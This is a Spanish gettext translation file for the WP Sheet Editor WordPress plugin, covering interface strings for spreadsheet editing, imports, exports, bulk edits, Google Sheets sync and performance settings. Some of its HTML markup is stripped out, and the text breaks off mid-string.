wp-sheet-editor/dev/inc/api/bootstrap.php:339 msgid "Scan DB to find fields" msgstr "Escanear la BD para encontrar campos" #: wp-sheet-editor/dev/inc/api/bootstrap.php:343 msgid "" "We can scan the database, find new fields, and create columns automatically " "for the supported fields." msgstr "" "Podemos escanear la base de datos, encontrar nuevos campos y crear columnas " "automáticamente para los campos soportados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 #: wp-sheet-editor/dev/inc/api/bootstrap.php:359 msgid "All changes saved." msgstr "Todos los cambios fueron guardados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Saving changes, don't close this page." msgstr "Guardando cambios, por favor no cierres esta página." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Some changes are not saved yet." msgstr "Algunos cambios no han sido guardados todavía." #: wp-sheet-editor/dev/inc/api/bootstrap.php:518 #: wp-sheet-editor/dev/inc/api/bootstrap.php:544 msgid "Content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/api/bootstrap.php:529 msgid "" "Use this editor to edit the content only, other fields like tags and " "categories should be edited on the spreadsheet." msgstr "" "Usa este editor para editar sólo el contenido, otros campos como etiquetas y " "categorías deben ser editados en la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/bootstrap.php:569 #: wp-sheet-editor/dev/inc/api/editor.php:378 msgid "WP Editor" msgstr "Editor de WP" #: wp-sheet-editor/dev/inc/api/bootstrap.php:593 msgid "View" msgstr "Ver" #: wp-sheet-editor/dev/inc/api/bootstrap.php:643 msgid "Modified Date" msgstr "Fecha de modificación" #: wp-sheet-editor/dev/inc/api/bootstrap.php:682 msgid "Excerpt" msgstr "Extracto" #: wp-sheet-editor/dev/inc/api/bootstrap.php:695 msgid "Delete completely" msgstr "Eliminar completamente" #: wp-sheet-editor/dev/inc/api/bootstrap.php:774 msgid "Order" msgstr "Orden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:837 msgid "Enter multiple terms separated by %s" msgstr "Ingresa varios términos separados por %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:866 msgid "Post type" msgstr "Post type" #: wp-sheet-editor/dev/inc/api/bootstrap.php:890 msgid "Password" msgstr "Contraseña" #: wp-sheet-editor/dev/inc/api/editor.php:207 msgid "" "\n" "(You can remove these help messages in the advanced settings)" msgstr "" "\n" "(Puedes remover estos mensajes de ayuda en los ajustes avanzados)" #: wp-sheet-editor/dev/inc/api/editor.php:226 msgid "Pro" msgstr "Pro" #: wp-sheet-editor/dev/inc/api/editor.php:227 msgid "Enable" msgstr "Habilitar" #: wp-sheet-editor/dev/inc/api/editor.php:283 msgid "Please select at least one column to import" msgstr "Por favor, selecciona al menos una columna a importar" #: wp-sheet-editor/dev/inc/api/editor.php:284 msgid "Show column key" msgstr "Mostrar la clave de la columna" #: wp-sheet-editor/dev/inc/api/editor.php:285 msgid "" "This is the dynamic tag for this column. You can copy this and use it in the " "bulk edit tool" msgstr "" "Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo " "en la herramienta de edición masiva" #: wp-sheet-editor/dev/inc/api/editor.php:286 msgid "Click here to show all columns again" msgstr "Haz clic aquí para ver todas las columnas otra vez" #: wp-sheet-editor/dev/inc/api/editor.php:287 msgid "" "The last import batch failed due to a server error, it's more likely that " "the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows " "every few seconds).
                  2- You can start a new import, sometimes trying again " "works (use the \"advanced settings\" in the step 1 of the import to start " "from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens " "after trying with 1 row per batch, you can contact us and we will make it work for you" msgstr "" "El último lote de importación falló debido a un error del servidor, es más " "probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, " "importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva " "importación, a veces intentarlo de nuevo funciona (usa los \"Ajustes " "avanzados\" en el paso 1 de la importación para empezar desde una fila " "específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre " "después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos." #: wp-sheet-editor/dev/inc/api/editor.php:288 msgid "" "Your server was not able to process this batch. Do you want to try again? " "You can retry 3 times, If 3 attempts fail we will stop the import completely." msgstr "" "Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de " "nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, " "pararemos la importación completamente." #: wp-sheet-editor/dev/inc/api/editor.php:289 msgid "" "Please correct the error in the file and start a new import. You can use the " "\"Advanced options\" in the step 1 of the import to start from this specific " "row." msgstr "" "Por favor, corrige el error en el archivo e inicia una nueva importación. " "Puedes usar las \"Opciones avanzadas\" en el paso 1 de la importación para " "empezar desde esta fila específica." #: wp-sheet-editor/dev/inc/api/editor.php:290 msgid "

                  The import has finished

                  " msgstr "

                  La importación ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:291 msgid "" "

                  The export has been scheduled. You can close this popup. View scheduled exports." msgstr "" "

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las " "exportaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:292 msgid "" "

                  The import has been scheduled. You can close this popup. View scheduled imports." msgstr "" "

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. " "Ver las " "importaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:293 msgid "" "

                  The changes have been scheduled. You can close this popup. View scheduled changes." "

                  " msgstr "" "

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. " "Ver los " "cambios programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:294 msgid "" "

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk " "edits.

                  " msgstr "" "

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana " "emergente. Ver los cambios masivos " "programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:295 msgid "Modified cells" msgstr "Celdas modificadas" #: wp-sheet-editor/dev/inc/api/editor.php:296 msgid "The export has been edited successfully" msgstr "La exportación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:297 msgid "" "The list of Google Sheets files has been refreshed. Please search your file " "again." msgstr "" "La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu " "archivo." #: wp-sheet-editor/dev/inc/api/editor.php:298 msgid "" "This will disconnect your Google account from WP Sheet Editor which will " "stop all sync jobs configured with that Google account across all your " "WordPress sites. But other users can connect their own Google account, so " "other users' sync jobs linked to their own Google accounts will remain " "unaffected. Are you sure you want to disconnect your Google account " "completely?" msgstr "" "Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá " "todas las tareas de sincronización configuradas con esa cuenta de Google en " "todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar " "su propia cuenta de Google, por lo que las tareas de sincronización de otros " "usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. " "¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?" #: wp-sheet-editor/dev/inc/api/editor.php:299 msgid "" "Disconnecting the current site from your Google account and the WP Sheet " "Editor API will pause the sync jobs you created on this site. However, sync " "jobs created by other users on this site, which sync to their own Google " "accounts, will remain active. Your other WordPress sites will continue to " "function normally. Do you want to continue?" msgstr "" "Si desconectas el sitio actual de tu cuenta de Google y de la API de WP " "Sheet Editor, se detendrán las tareas de sincronización que hayas creado en " "este sitio. Sin embargo, las tareas de sincronización creadas por otros " "usuarios en este sitio, que se sincronizan con sus propias cuentas de " "Google, permanecerán activas. Tus otros sitios de WordPress seguirán " "funcionando con normalidad. ¿Quieres continuar?" #: wp-sheet-editor/dev/inc/api/editor.php:300 msgid "The bulk edit has been edited successfully" msgstr "El cambio masivo ha sido editado con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:301 msgid "The import has been edited successfully" msgstr "La importación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:302 msgid "Name of this export" msgstr "Nombre de esta exportación" #: wp-sheet-editor/dev/inc/api/editor.php:303 msgid "" "Are you sure you want to delete this scheduled job and all its related files?" msgstr "" "¿Estás seguro de que quieres eliminar esta tarea programada y todos sus " "archivos relacionados?" #: wp-sheet-editor/dev/inc/api/editor.php:304 msgid "Are you sure you want to delete this columns view?" msgstr "¿Estás seguro de que quieres eliminar esta vista de columnas?" #: wp-sheet-editor/dev/inc/api/editor.php:306 msgid "

                  The process has finished

                  " msgstr "

                  El proceso ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:307 msgid "The selected product does not have variations" msgstr "El producto seleccionado no tiene variaciones" #: wp-sheet-editor/dev/inc/api/editor.php:308 msgid "empty" msgstr "vacío" #: wp-sheet-editor/dev/inc/api/editor.php:309 msgid "This will save you {clicks_count} clicks :)" msgstr "Esto te ahorrará {clicks_count} clics :)" #: wp-sheet-editor/dev/inc/api/editor.php:310 msgid "" "We found similar columns. Do you want to apply the same action to them? " "{columns}" msgstr "" "Encontramos columnas similares. ¿Quieres aplicarles la misma acción? " "{columns}" #: wp-sheet-editor/dev/inc/api/editor.php:311 msgid "" "This column is only for variation rows, parent products don't use this field" msgstr "" "Esta columna es sólo para las filas de variaciones, los productos padre no " "usan este campo" #: wp-sheet-editor/dev/inc/api/editor.php:312 msgid "Editing the field: {field_label}" msgstr "Editando el campo: {field_label}" #: wp-sheet-editor/dev/inc/api/editor.php:313 msgid "Column not found. Try with another search criteria." msgstr "Columna no encontrada. Intenta con otro criterio de búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:314 msgid "" "This column is for parent products only, variations don't use this field" msgstr "" "Esta columna es sólo para los productos padre, las variaciones no usan este " "campo" #: wp-sheet-editor/dev/inc/api/editor.php:315 msgid "Paste using keyboard: Ctrl+V" msgstr "Pegar con el teclado: Ctrl+V" #: wp-sheet-editor/dev/inc/api/editor.php:316 msgid "Realign cells" msgstr "Realinear celdas" #: wp-sheet-editor/dev/inc/api/editor.php:317 msgid "Remove all filters" msgstr "Eliminar todos los filtros" #: wp-sheet-editor/dev/inc/api/editor.php:318 msgid "Resize columns based on the values" msgstr "Redimensionar las columnas en base a los valores" #: wp-sheet-editor/dev/inc/api/editor.php:319 msgid "Delete row" msgstr "Borrar fila" #: wp-sheet-editor/dev/inc/api/editor.php:320 msgid "" "Do you want to delete {rows_number} rows from the database completely? If " "you want to restore them later, you should make a backup before." msgstr "" "Quieres borrar {rows_number} filas de la base de datos completamente? Si " "quieres restaurarlas después, deberías hacer una copia de seguridad antes." #: wp-sheet-editor/dev/inc/api/editor.php:321 msgid "Duplicate row" msgstr "Duplicar fila" #: wp-sheet-editor/dev/inc/api/editor.php:322 msgid "Hide column" msgstr "Ocultar columna" #: wp-sheet-editor/dev/inc/api/editor.php:323 msgid "Bulk edit column" msgstr "Editar esta columna masivamente" #: wp-sheet-editor/dev/inc/api/editor.php:325 msgid "Copy variations from this product" msgstr "Copiar variaciones de este producto" #: wp-sheet-editor/dev/inc/api/editor.php:327 msgid "Delete field" msgstr "Eliminar campo" #: wp-sheet-editor/dev/inc/api/editor.php:328 msgid "" "We will delete this meta field from the database and you will lose the " "values saved in this field on all the rows. You should make a backup to be " "able to restore in the future. Do you want to continue with the deletion?" msgstr "" "Borraremos este campo meta de la base de datos y perderás los valores " "guardados en este campo en todas las filas. Deberías hacer una copia de " "seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la " "eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:329 msgid "Delete serialized field" msgstr "Eliminar campo serializado" #: wp-sheet-editor/dev/inc/api/editor.php:330 msgid "" "We will delete this serialized field, which includes all its subfields, from " "the database and you will lose the values saved in this field on all the " "rows. You should make a backup to be able to restore in the future. Do you " "want to continue with the deletion?" msgstr "" "Borraremos este campo serializado, incluyendo todos sus subcampos, de la " "base de datos y perderás los valores guardados en este campo en todas las " "filas. Deberías hacer una copia de seguridad para poder restaurar en el " "futuro. ¿Quieres continuar con la eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:331 msgid "Edit meta key" msgstr "Editar la meta clave" #: wp-sheet-editor/dev/inc/api/editor.php:332 msgid "Error: The new value is empty or is equal to the old value" msgstr "Error: El nuevo valor está vacío o es igual al valor antiguo" #: wp-sheet-editor/dev/inc/api/editor.php:333 msgid "Showing rows from your last session." msgstr "Mostrando las filas de la última sesión." #: wp-sheet-editor/dev/inc/api/editor.php:334 msgid "Export column" msgstr "Exportar columna" #: wp-sheet-editor/dev/inc/api/editor.php:335 msgid "" "

                  The bulk edit was not applied completely. The process was canceled due to " "an error.

                  You can close this window.

                  " msgstr "" "

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado " "debido a un error.

                  Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:336 msgid "" "

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  " msgstr "" "

                  " "Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:337 msgid "" "Your server was not able to process this batch. Do you want to try again?" msgstr "" "El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:338 msgid "The bulk edit was executed successfully. You can close this window" msgstr "El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana." #: wp-sheet-editor/dev/inc/api/editor.php:340 msgid "" "ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want " "to reload now? We will reload automatically" msgstr "" "HABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: " "{columns}. ¿Quieres recargar ahora? Recargaremos automáticamente." #: wp-sheet-editor/dev/inc/api/editor.php:341 msgid "" "Column removed. Go to \"settings > hide/display columns\" to enable it again" msgstr "" "Columna removida. Ve a \"Ajustes > Ocultar/mostrar columnas\" para " "habilitarla de nuevo" #: wp-sheet-editor/dev/inc/api/editor.php:342 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:343 msgid "" "You have modified rows. Please save the changes before removing columns from " "the spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios antes de eliminar " "columnas de la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:344 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet. Do you want to refresh now?" msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo. ¿Quieres recargar ahora?" #: wp-sheet-editor/dev/inc/api/editor.php:345 msgid "" "Some rows were modified in the background. Please save the changes and " "reload the spreadsheet to see the changes" msgstr "" "Algunas filas fueron modificadas en segundo plano. Por favor, guarda los " "cambios y recarga la hoja de cálculo para ver los cambios." #: wp-sheet-editor/dev/inc/api/editor.php:346 msgid "" "Some rows were modified in the spreadsheet. Please save the changes before " "using this feature." msgstr "" "Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios " "antes de usar esta función." #: wp-sheet-editor/dev/inc/api/editor.php:347 msgid "" "We didn't find rows to update from the search query. Please try another " "search query." msgstr "" "No encontramos filas a actualizar a partir de la consulta de búsqueda. Por " "favor, intenta otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:348 msgid "We didn't find rows for the export. Please try another search query." msgstr "No encontramos filas a exportar. Por favor, intenta con otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:349 msgid "You can find all the settings here, like columns visibility, etc." msgstr "" "Puedes encontrar todos los ajustes aquí, como la visibilidad de las " "columnas, etc." #: wp-sheet-editor/dev/inc/api/editor.php:350 msgid "Oops, nothing found" msgstr "Oops, no encontramos nada." #: wp-sheet-editor/dev/inc/api/editor.php:352 msgid "Upload image" msgstr "Subir imagen" #: wp-sheet-editor/dev/inc/api/editor.php:353 msgid "View Gallery" msgstr "Ver Galería" #: wp-sheet-editor/dev/inc/api/editor.php:354 msgid "No options available" msgstr "No hay opciones disponibles" #: wp-sheet-editor/dev/inc/api/editor.php:355 #: wp-sheet-editor/dev/inc/api/helpers.php:1341 msgid "Items loaded in the spreadsheet" msgstr "Elementos cargados en la hoja de cálculo" #: wp-sheet-editor/dev/inc/api/editor.php:356 msgid "New rows added" msgstr "Se añadieron nuevas filas" #: wp-sheet-editor/dev/inc/api/editor.php:357 msgid "" "The bulk edit has been executed. Do you want to reload the page to see the " "changes?" msgstr "" "El cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los " "cambios?" #: wp-sheet-editor/dev/inc/api/editor.php:358 msgid "" "

                  The changes were not saved completely. The process was canceled due to an " "error .

                  You can close this popup.

                  " msgstr "" "

                  Los cambios no se guardaron completamente. El proceso fue cancelado " "debido a un error .

                  Puedes cerrar esta ventana emergente.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:359 msgid "" "

                  The automatic saving failed. Your changes were not saved completely due " "to an error. You can try again later, if the error persists contact our " "support team and keep this tab opened

                  " msgstr "" "

                  El guardado automático falló. Tus cambios no se guardaron completamente " "debido a un error. Puedes intentarlo de nuevo más tarde. Si el error " "persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta." "

                  " #: wp-sheet-editor/dev/inc/api/editor.php:360 msgid "{updated} attributes have been merged." msgstr "Se combinaron {updated} atributos." #: wp-sheet-editor/dev/inc/api/editor.php:361 msgid "{updated} items saved of {total} items that need saving." msgstr "" "Se han guardado {updated} elementos de {total} elementos que necesitan " "guardarse." #: wp-sheet-editor/dev/inc/api/editor.php:362 msgid "" "Scanning variations to be created. {updated} products of {total} products " "have been processed." msgstr "" "Escaneando variaciones a crear. Se han procesado {updated} productos de " "{total} productos." #: wp-sheet-editor/dev/inc/api/editor.php:363 msgid "{deleted} duplicates have been removed." msgstr "Se eliminaron {deleted} duplicados." #: wp-sheet-editor/dev/inc/api/editor.php:364 msgid "All items have been saved." msgstr "Se han guardado todos los elementos." #: wp-sheet-editor/dev/inc/api/editor.php:365 msgid "" "Please check if you have unsaved changes. If you have, please save them or " "they will be dismissed." msgstr "" "Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, " "guárdalos o serán descartados." #: wp-sheet-editor/dev/inc/api/editor.php:366 msgid "Everything is already saved." msgstr "Ya está todo guardado." #: wp-sheet-editor/dev/inc/api/editor.php:367 msgid "" "The server did not accept our request. Bad request, please try refresh the " "page and try again." msgstr "" "El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta " "actualizar la página e inténtalo de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:368 msgid "" "The server didn't accept our request. You don't have permission to do this " "action. Please log in again." msgstr "" "El servidor no aceptó nuestra petición. No tienes permisos para realizar " "esta acción. Por favor, inicia sesión de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:369 msgid "The server is not available or overloaded. Please try again later." msgstr "" "El servidor no está disponible o está sobrecargado. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:370 msgid "The server is not available or overloaded. Do you want to try again?" msgstr "" "El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de " "nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:371 msgid "" "The auto saving failed: the server is not available or overloaded. Do you " "want to try again?" msgstr "" "El guardado automático falló: El servidor no está disponible o está " "sobrecargado. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:372 msgid "" "The server wasn't able to process our request. Server error. Please try " "again later." msgstr "" "El servidor no pudo procesar nuestra petición. Error del servidor. Por " "favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:373 msgid "" "The server has exceeded its allocated resources and is not able to process " "our request." msgstr "" "El servidor ha excedido sus recursos asignados y no puede procesar nuestra " "solicitud." #: wp-sheet-editor/dev/inc/api/editor.php:374 msgid "" "The server is busy and took too long to respond to our request. Please try " "again later." msgstr "" "El servidor está ocupado y tardó demasiado en responder a nuestra petición. " "Por favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:375 msgid "The server could not process our request. Please try again later." msgstr "" "El servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:376 msgid "Change background color" msgstr "Cambiar el color de fondo" #: wp-sheet-editor/dev/inc/api/editor.php:377 msgid "" "

                  Missing column?

                  " msgstr "" "

                  ¿Falta una columna?

                  o " #: wp-sheet-editor/dev/inc/api/editor.php:383 msgid "" "Do we deserve a 5-star review? Yes, you deserve it . - . " "No" msgstr "" "¿Merecemos 5 estrellas? Sí, lo merecen. . - . No" #: wp-sheet-editor/dev/inc/api/helpers.php:444 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 msgid "(Pro extension)" msgstr "(Extensión Pro)" #: wp-sheet-editor/dev/inc/api/helpers.php:448 #: wp-sheet-editor/dev/inc/teasers/coupons.php:35 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #: wp-sheet-editor/dev/inc/teasers/users.php:34 msgid "(Install free extension)" msgstr "(Instalar extensión gratuita)" #: wp-sheet-editor/dev/inc/api/helpers.php:551 msgid "The item could not be saved. Please try again in other moment." msgstr "" "El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro " "momento." #: wp-sheet-editor/dev/inc/api/helpers.php:1026 msgid "User not allowed to edit rows" msgstr "Usuario no autorizado para editar las filas" #: wp-sheet-editor/dev/inc/api/helpers.php:1308 msgid "No more posts available." msgstr "No hay más filas disponibles." #: wp-sheet-editor/dev/inc/api/helpers.php:1310 msgid "" "No posts found matching your search parameters. You can remove the active " "filters or try with a different search." msgstr "" "No se han encontrado filas que coincidan con los parámetros de búsqueda. " "Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente." #: wp-sheet-editor/dev/inc/api/helpers.php:1312 msgid "No posts available for the current page." msgstr "No hay filas disponibles para la página actual." #: wp-sheet-editor/dev/inc/api/logger.php:49 msgid "The log file does not exist." msgstr "El archivo de registro no existe." #: wp-sheet-editor/dev/inc/integrations/elementor.php:60 msgid "Elementor" msgstr "Elementor" #: wp-sheet-editor/dev/inc/integrations/notifier.php:38 msgid "Disable the popup that asks you to install important extensions?" msgstr "" "¿Deshabilitar la ventana emergente que te pide instalar extensiones " "importantes?" #: wp-sheet-editor/dev/inc/integrations/notifier.php:39 msgid "" "We show a popup asking you to install free extensions when we detect that " "you are using a third-party plugin that requires special compatibility, " "which helps us prevent errors." msgstr "" "Mostramos una ventana emergente pidiéndote que instales extensiones " "gratuitas cuando detectamos que estás utilizando un plugin de terceros que " "requiere una compatibilidad especial, lo que nos ayuda a evitar errores." #: wp-sheet-editor/dev/inc/integrations/notifier.php:201 msgid "Integrations" msgstr "Integraciones" #: wp-sheet-editor/dev/inc/integrations/notifier.php:241 msgid "Important extensions" msgstr "Extensiones importantes" #: wp-sheet-editor/dev/inc/integrations/notifier.php:242 msgid "" "Some of your plugins require special compatibility, and we have created " "these extensions that you can download for free if you purchased our plugin." msgstr "" "Algunos plugins requieren compatibilidad especial y hemos creado estas " "extensiones que puedes descargar gratuitamente si compraste nuestro plugin." #: wp-sheet-editor/dev/inc/integrations/notifier.php:243 msgid "" "It's important that you install them to prevent errors, but you can do it " "later if you want. Find this popup in the toolbar > extensions > " "Integrations." msgstr "" "Es importante que las instales para evitar errores, pero puedes hacerlo más " "tarde si quieres. Encuentra esta ventana emergente en la barra de " "herramientas > extensiones > Integraciones." #: wp-sheet-editor/dev/inc/integrations/notifier.php:244 msgid "" "If you click on the \"download\" button, we will download the file from the " "official website: wpsheeteditor.com." msgstr "" "Si haces clic en el botón \"descargar\", descargaremos el archivo desde el " "sitio web oficial: wpsheeteditor.com." #: wp-sheet-editor/dev/inc/integrations/notifier.php:251 #: wp-sheet-editor/dev/inc/integrations/notifier.php:274 msgid "Extension name" msgstr "Nombre de la extensión" #: wp-sheet-editor/dev/inc/integrations/notifier.php:252 #: wp-sheet-editor/dev/inc/integrations/notifier.php:275 #: wp-sheet-editor/dev/inc/teasers/post-types.php:96 msgid "Description" msgstr "Descripción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:253 #: wp-sheet-editor/dev/inc/integrations/notifier.php:276 msgid "Action" msgstr "Acción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Already downloaded" msgstr "Descargada" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 msgid "Download" msgstr "Descargar" #: wp-sheet-editor/dev/inc/integrations/notifier.php:270 msgid "Extensions that require update" msgstr "Extensiones que requieren actualización" #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Download update" msgstr "Actualización de descarga" #: wp-sheet-editor/dev/inc/integrations/notifier.php:290 msgid "" "When you finish downloading the plugins, you need to go to wp-admin > " "plugins > add new and install them." msgstr "" "Cuando termines de descargar los plugins, tienes que ir a wp-admin > plugins " "> añadir nuevo e instalarlos." #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #, fuzzy #| msgid "Need help?" msgid "Do you need help?." msgstr "¿Necesitas ayuda?" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:33 msgid "WPBakery Page Builder" msgstr "WPBakery Page Builder" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:46 msgid "Live" msgstr "En vivo" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:52 msgid "Backend" msgstr "Backend" #: wp-sheet-editor/dev/inc/options-init.php:19 msgid "Speed and performance" msgstr "Velocidad y rendimiento" #: wp-sheet-editor/dev/inc/options-init.php:25 msgid "Load rows faster: Number of rows to load per batch" msgstr "Cargar las filas más rápido: Número de filas a cargar por lote" #: wp-sheet-editor/dev/inc/options-init.php:26 msgid "" "We use pagination to use few server resources. We load 20 rows first and " "load 20 more every time you scroll down. You can increase this number to " "load more rows per page. CAREFUL. Loading more than 200 rows per page might " "overload your server. If we detect that the server is overloaded we will " "automatically reset to 10 rows per page." msgstr "" "Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 " "filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar " "este número para cargar más filas por página. CUIDADO. Cargar más de 200 " "filas por página podría sobrecargar tu servidor. Si detectamos que el " "servidor está sobrecargado, automáticamente se restablecerá a 10 filas por " "página." #: wp-sheet-editor/dev/inc/options-init.php:33 msgid "Export rows faster: Number of rows to export per batch" msgstr "Exportar filas más rápido: Número de filas a exportar por lote" #: wp-sheet-editor/dev/inc/options-init.php:34 msgid "" "Here you can control the batch size for the exports. If you use a high " "number the exports will finish faster. You can use a high number safely " "because we automatically fall back to a lower number if the server is " "overloaded during one export. For example, export 100 rows per batch and " "complete the exports super fast and if we detect slowness in one export we " "will automatically restart the export with 10 rows per batch" msgstr "" "Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un " "número alto, las exportaciones terminarán más rápido. Puedes usar un número " "alto de forma segura porque automáticamente volvemos a un número más bajo si " "el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 " "filas por lote y completar las exportaciones súper rápido y si detectamos " "lentitud en una exportación reiniciaremos automáticamente la exportación con " "10 filas por lote" #: wp-sheet-editor/dev/inc/options-init.php:41 msgid "Save changes faster: Number of rows to save per batch" msgstr "Guarda los cambios más rápido: Número de filas a guardar por lote" #: wp-sheet-editor/dev/inc/options-init.php:42 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. The recommended value " "is 4 , which means we will process only 4 posts at once. You can adjust it " "as it works best for you. If you get errors when saving you should lower the " "number" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a " "la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al " "guardar, deberías reducir el número" #: wp-sheet-editor/dev/inc/options-init.php:49 msgid "Delete posts faster: Number of posts to delete per batch" msgstr "Borrar filas más rápido: Número de filas a borrar por lote" #: wp-sheet-editor/dev/inc/options-init.php:50 msgid "" "When you delete posts, pages, events, products, orders, coupons, and other " "post types, you can select how many will be deleted on every batch. Use a " "higher number to finish faster. Default is 500" msgstr "" "Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y " "otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa " "un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. " "Predeterminado: 500" #: wp-sheet-editor/dev/inc/options-init.php:58 msgid "Increase Productivity" msgstr "Aumentar la productividad" #: wp-sheet-editor/dev/inc/options-init.php:63 msgid "Use pagination in the spreadsheet?" msgstr "¿Usar la paginación en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:64 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list." msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y desactivar la lista infinita." #: wp-sheet-editor/dev/inc/options-init.php:70 msgid "Disable the automatic loading of rows?" msgstr "¿Desactivar la carga automática de filas?" #: wp-sheet-editor/dev/inc/options-init.php:71 msgid "" "When you open the spreadsheet, we load the rows automatically so you can " "start editing right away. Activate this option if you want to search rows " "and load manually." msgstr "" "Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que " "puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar " "filas y cargarlas manualmente." #: wp-sheet-editor/dev/inc/options-init.php:77 msgid "Disable the full screen mode?" msgstr "¿Desactivar el modo de pantalla completa?" #: wp-sheet-editor/dev/inc/options-init.php:78 msgid "" "When the sheet loads, we open it in full screen and you have the option to " "exit the full screen mode. Activate this option and we wont open the sheet " "in full screen." msgstr "" "Cuando se carga la hoja de cálculo, la 